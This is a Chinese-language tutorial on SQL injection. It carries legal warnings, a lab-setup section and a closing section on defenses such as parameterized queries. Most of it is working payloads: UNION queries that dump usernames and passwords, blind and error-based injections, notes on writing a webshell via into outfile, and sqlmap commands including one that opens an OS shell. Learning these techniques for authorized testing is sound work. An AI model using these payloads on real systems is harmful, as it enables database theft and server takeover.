超级详细 SQL 注入(SQL Injection)完整教程

图片[1]-超级详细 SQL 注入(SQL Injection)完整教程-OEON
摘要生成中
AI生成,仅供参考

 

【重要警告】
本教程仅供学习和授权测试使用。SQL注入属于非法入侵行为,未经系统所有者明确书面授权进行任何SQL注入测试均属于违法犯罪,可能承担刑事责任。请严格遵守《中华人民共和国网络安全法》及其他法律法规,仅在自己完全控制的本地测试环境(DVWA、SQLi Labs等)或获得授权的渗透测试中使用。任何非法使用后果自负,本教程不承担任何法律责任。

1. SQL 注入基础概念

SQL注入是Web应用中最常见的高危漏洞之一。攻击者通过在用户可控输入中构造恶意SQL代码片段,使其与后台SQL语句拼接后被数据库执行。

  • 核心原因:开发者未对用户输入进行有效过滤或参数化处理。
  • 危害等级:高危(可导致脱库、数据篡改、服务器被控)。

2. SQL 注入常见类型

  • 联合查询注入(Union-based):利用UNION合并结果集回显数据。
  • 基于错误注入(Error-based):利用数据库报错信息泄露数据。
  • 盲注(Blind):
    • 布尔盲注:根据页面返回内容真/假判断。
    • 时间盲注:根据页面响应时间延迟判断。
  • 堆叠查询注入(Stacked Queries):使用分号执行多条语句。
  • 二阶注入(Second Order):恶意数据先存入数据库,后续取出时触发。
  • 带外注入(Out-of-band):通过DNS、HTTP等通道回传数据。

3. 测试环境准备

强烈推荐在本地搭建靶场,严禁直接对公网资产进行未经授权的测试:

  • 集成环境:XAMPP / phpStudy / WAMP
  • 经典靶场:
    • SQLi Labs(GitHub搜索 sqli-labs)
    • DVWA(Damn Vulnerable Web Application)
    • Mutillidae、bWAPP

4. 注入点判断

假设存在如下不安全代码:

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";

基础测试逻辑:

  • 单/双引号测试:?id=1'?id=1"(观察是否报错)。
  • 逻辑判断(数字型):
    • ?id=1 and 1=1 (页面显示正常)
    • ?id=1 and 1=2 (页面异常或无数据)
  • 字符型测试:?id=1' and '1'='1

5. 联合查询注入完整流程

步骤1:判断字段数

?id=1 order by 1--
?id=1 order by 2--
?id=1 order by 3-- (直到报错,假设 order by 4 报错,则字段数为 3)

步骤2:判断回显位置

?id=-1 union select 1,2,3-- 
/* 负数让原查询无结果,观察页面哪些位置出现数字 1、2、3 */

步骤3:获取基本信息

-- 当前数据库
?id=-1 union select 1,database(),3--

-- 当前用户
?id=-1 union select 1,user(),3--

-- 数据库版本
?id=-1 union select 1,version(),3--

步骤4:获取表与字段

-- 获取所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

-- 获取指定表(users)的所有字段
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--

步骤5:脱取数据

?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--

6. 盲注与报错注入 Payload

布尔盲注示例:

and length(database())=4
and ascii(substr(database(),1,1))>100

时间盲注示例:

and if(1=1,sleep(5),0)--
and (select count(*) from information_schema.tables)>0 and sleep(5)--

报错注入示例:

and extractvalue(1,concat(0x7e,(select database()),0x7e))
and updatexml(1,concat(0x7e,(select database()),0x7e),1)

7. 常用技巧 (MySQL)

  • group_concat():将多行查询结果合并为一行字符串。
  • 0x3a:十六进制的冒号,常用于分隔用户名密码。
  • load_file():读取服务器本地文件(需文件读取权限)。
  • into outfile:将查询结果写入文件(常用于写入Webshell)。

8. Sqlmap 工具常用指令

Sqlmap 是自动化注入的神器,以下为基础用法:

# 基础检测
sqlmap -u "http://target.com/page.php?id=1" --batch

# 获取所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs

# 获取指定库的表
sqlmap -u "http://target.com/page.php?id=1" -D testdb --tables

# 获取系统Shell (需满足特定条件)
sqlmap -u "http://target.com/page.php?id=1" --os-shell

9. 防护措施(开发者必看)

  • 参数化查询 / 预编译语句:这是最有效的防御手段(如 PHP 的 PDO, Java 的 PreparedStatement)。
  • 输入验证:对用户输入进行严格的类型校验和白名单过滤。
  • 最小权限原则:数据库连接账号严禁使用 root 权限。
  • 部署 WAF:使用 Web 应用防火墙作为辅助防御手段。

10. 数据库差异简表

  • MySQL:information_schemasleep()group_concat()
  • MSSQL:WAITFOR DELAYmaster..sysdatabases
  • PostgreSQL:pg_sleep()version()
  • Oracle:all_tablesutl_inaddr.get_host_address

声明: 本教程结束。再次强调,本教程仅用于安全研究、CTF 练习和合法授权渗透测试。请务必遵守法律法规,严禁用于任何非法用途。

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容